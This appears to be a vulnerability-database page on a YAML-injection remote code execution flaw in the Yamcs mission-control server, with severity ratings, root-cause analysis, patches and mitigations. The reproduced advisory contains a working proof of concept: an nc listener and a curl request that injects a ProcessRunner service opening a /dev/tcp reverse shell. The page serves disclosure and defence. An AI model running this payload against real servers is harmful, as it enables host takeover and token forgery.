Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessReach Yamcs HTTP API (default port 8090)
-
DeliverySend POST /api/instances with malicious templateArgs
-
ExploitBreak out of name string, inject services: ProcessRunner
-
ExecutionSnakeYAML loads config, instantiates injected service
-
PersistProcessRunner spawns reverse shell as service account
-
ImpactRead secretKey/secrets, forge superuser tokens, tamper telemetry
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires the ability to call POST /api/instances or PATCH /api/instances/{instance} with attacker-controlled templateArgs against a template that substitutes an arg into the config (e.g. the shipped 'example' template's name: "{{ spaceSystem }}"). The injected value must contain YAML control characters (newline, colon, indentation) to close the surrounding quoted scalar and add a top-level services: block with class: org.yamcs.ProcessRunner - none of which EscapeFilter neutralizes. Authorization requirement: the caller must hold the CreateInstances privilege; however, in the default shipped configuration with no security.yaml the guest user is superuser=true and the API is unauthenticated, so no credentials are needed at all (same default exposure as CVE-2026-46562). Limiting factors for hardened deployments: a configured security.yaml removes the unauthenticated path and requires a valid bearer token for a principal that has been granted CreateInstances; notably ChangeMissionDatabase is NOT required, so the separate algorithm-override restriction does not protect this path. |
| Impact | This is a genuine high-priority issue, not merely a high-CVSS artifact. The CVSS 3.1 vector (AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H = 9.8) reflects the shipped default posture: with no security.yaml the API is unauthenticated and guest is superuser, so a network attacker gets code execution with no prerequisites. A working PoC is public (publicly available exploit code exists), which raises real-world likelihood. There is a nuance worth flagging: when security IS configured, exploitation requires the CreateInstances privilege, so effective privileges are PR:N only for default/insecure deployments and PR:L for hardened ones - defenders should map their own auth posture rather than assume PR:N. No EPSS score and no CISA KEV entry were provided, so there is no evidence of active exploitation at time of analysis; treat this as high-severity-with-public-PoC rather than confirmed in-the-wild. No SSVC decision data was supplied. The impact is severe because code runs as the service account, which can read secretKey from etc/yamcs.yaml (enabling token forgery for any user, including superuser), exposing every instance on the host. |
| Exploit ScenarioDerived | An attacker who can reach the Yamcs HTTP API - either an operator holding only CreateInstances, or anyone at all against a default deployment with no security.yaml - sends a POST /api/instances request whose templateArgs value breaks out of the template's name: "..." string and injects a top-level services: entry for org.yamcs.ProcessRunner running a reverse-shell command. The server returns 200, starts the injected service, and connects back to the attacker's listener with a shell as the Yamcs service account. A public PoC (nc listener plus a crafted curl request) is provided in the advisory, and given AV:N/AC:L the attack is trivial to script. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 28, 2026
Remote code execution in Yamcs (open-source mission-control server) versions <= 5.12.7 and 5.13.0-5.13.1 allows a caller with the CreateInstances privilege - or any unauthenticated user in the default no-security.yaml configuration where guest is superuser - to inject YAML into an instance template via the templateArgs parameter of POST /api/instances (and PATCH /api/instances/{instance}). Because arguments are written into the rendered config as raw, unescaped text and then loaded as YAML, an attacker can inject a services: entry that instantiates org.yamcs.ProcessRunner and executes an arbitrary command as the Yamcs service account. Publicly available exploit code exists (a full PoC with a reverse shell is published in the GitHub Security Advisory), and vendor patches are available in 5.12.8 and 5.13.2.
RemediationAI
Vendor-released patch: upgrade to 5.12.8 (for the 5.12.x line) or 5.13.2 (for the 5.13.x line); fixes are in commits 549f295cf8c5496a5e799d6bec2432ef976c82aa and 7192da1c49bdf5ab1d72e579a47766a7c43e87c8, which route template rendering through processAndSanitizeYaml (user strings are swapped for UUID tokens, the layout is parsed as a YAML object graph, and tokens are re-substituted as pure data so injected structure cannot take effect). If you cannot patch immediately, deploy a security.yaml so the API is authenticated and guest is not superuser - this closes the unauthenticated path but not exploitation by any principal still holding CreateInstances. Additionally restrict who holds the CreateInstances privilege (remove it from operators who should not have a host shell), and network-restrict access to the HTTP API port (default 8090) to trusted management hosts only; the trade-off is that legitimate remote instance-creation workflows must originate from those hosts. Advisory and release notes: https://github.com/yamcs/yamcs/security/advisories/GHSA-73mf-m39p-wpm9, https://github.com/yamcs/yamcs/releases/tag/yamcs-5.12.8, https://github.com/yamcs/yamcs/releases/tag/yamcs-5.13.2.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in maven, euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Yamcs is a Java-based mission-control/telemetry framework (packaged as maven org.yamcs:yamcs-core) used to operate spacecraft and other remote systems. Instances are created from templates rendered by a custom text templating engine (VarStatement/TemplateProcessor). The root cause is CWE-94 (code/config injection): VarStatement.append writes user-supplied arg values verbatim (VarStatement.java:29, buf.append(value)), and the only available filter, EscapeFilter, performs HTML escaping of & < > ' " while leaving newlines, colons and indentation intact - so it does not neutralize YAML structure. The rendered text is parsed as a YConfiguration (SnakeYAML), and YamcsServerInstance instantiates every services: entry by its class: attribute via YObjectLoader. Injecting a top-level services: block referencing org.yamcs.ProcessRunner reaches new ProcessBuilder(command).start() (ProcessRunner.java:81-82), turning a config-injection into direct command execution. InstancesApi.createInstance never validates templateArgs against the template's declared choices/required metadata (that metadata is only used to render the web form).
Know when Java gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Default shipped config is unauthenticated (guest superuser) giving PR:N, network-reachable API with a simple scripted request (AC:L), yielding full host command execution (C:H/I:H/A:H); hardened installs would be PR:L.
Primary rating from Vendor (https://github.com/yamcs/yamcs).
CVSS VectorVendor: https://github.com/yamcs/yamcs
DescriptionCVE.org
Summary
templateArgs sent to POST /api/instances (and PATCH /api/instances/{instance}) are written into the rendered instance config as raw text, then parsed as YAML and loaded. Yamcs instantiates each services: entry by its class:, so injecting YAML through a template arg lets you add a services: entry for org.yamcs.ProcessRunner and run a command on the host. The args aren't escaped for YAML or validated server-side.
Needs the CreateInstances privilege. With no security.yaml the guest user is superuser=true and the API is unauthenticated, so it's reachable without auth, same default exposure as CVE-2026-46562. The 5.12.7 algorithm-edit fix doesn't touch this path.
Details
VarStatement appends arg values with no escaping:
// yamcs-core/src/main/java/org/yamcs/templating/VarStatement.java:29
buf.append(value);The only filter, EscapeFilter, does HTML escaping (& < > ' ") and leaves newlines, colons and indentation alone, so {{ x | escape }} doesn't help either. InstancesApi.createInstance forwards the args without checking them against the declared variables; the choices / required metadata is only used to render the web form.
Request to exec: InstancesApi.createInstance (http/api/InstancesApi.java:169, checks CreateInstances) → YamcsServer.createInstance (YamcsServer.java:651, template.process(templateArgs)) → rendered config loaded as YConfiguration → YamcsServerInstance instantiates services: by class: (YamcsServerInstance.java:75,88, via YObjectLoader) → org.yamcs.ProcessRunner runs new ProcessBuilder(command).start() (ProcessRunner.java:81-82).
createInstance has no field for a class name or raw config, and no other API instantiates an arbitrary class at runtime (ServicesApi only starts/stops existing ones), so the template arg is the only way in.
A fix would be to validate templateArgs (reject newlines / control characters, enforce the declared choices / required) and/or escape substituted values for the YAML context.
PoC
Run the shipped example: ./run-example.sh templates. It serves HttpServer on 8090 with no security.yaml, so guest is superuser and the API is unauthenticated. Its example template puts {{ spaceSystem }} into name: "...".
Listener:
nc -lvnp 4444Request (set <LHOST> / <LPORT> to the listener):
curl -i -X POST http://<target>:8090/api/instances \
-H 'Content-Type: application/json' \
-d '{
"name": "pwned",
"template": "example",
"templateArgs": {
"spaceSystem": "x\"\nservices:\n - class: org.yamcs.ProcessRunner\n args:\n command: [\"bash\", \"-c\", \"exec 3<>/dev/tcp/<LHOST>/<LPORT>; sh -i <&3 >&3 2>&3\"]\n#",
"bar": "Option 2"
}
}'Returns 200; the new instance starts the injected ProcessRunner, which connects back to the listener with a shell running as the Yamcs user (id shows the service account). The arg closes the name: "..." quote, adds a top-level services: (which overrides the template's services: [], last key wins in SnakeYAML), and ends with # to comment out the trailing ".
With security.yaml it's the same request with a bearer token. This works for a user whose only privilege is CreateInstances: that user gets 403 (Missing system privilege 'ChangeMissionDatabase') on the algorithm-override path but 200 here.
Impact
Command execution as the Yamcs service account. That includes reading secretKey from etc/yamcs.yaml (which lets you mint tokens for any user including a superuser), reading other secrets (LDAP bind, OIDC client secret, TLS keys), and reading or tampering with telemetry and command history for every instance on the box.
It needs CreateInstances, or no auth at all in the default config. On a server that delegates that privilege to operators who shouldn't have a shell, or that runs without security.yaml, this is host takeover from the API.
Articles & Coverage 1
Technical POC Analysis
CWE-94: code injection through improper neutralization of template/YAML syntax.
Full technical POC analysis - root cause, step-by-step exploitation and patch breakdown - is part of the Pro and Business plans.
Executive ViewAI
Yamcs mission-control server versions 5.12.7 and earlier, and 5.13.0-5.13.1, are vulnerable to unauthenticated remote code execution enabling attackers to inject arbitrary commands executed as the Yamcs service account. Organizations running vulnerable instances face potential mission disruption, data compromise, and loss of operational control, with heightened risk in default configurations where guest access has superuser privileges.
Apply vendor patch.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m
Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti
Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent
Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug
JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up
Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up
The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers
Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow
Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla
The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during
EUVD-2026-67843
GHSA-73mf-m39p-wpm9
NVD
CVE.org
EPSS
Vulnrichment
Exploit-DB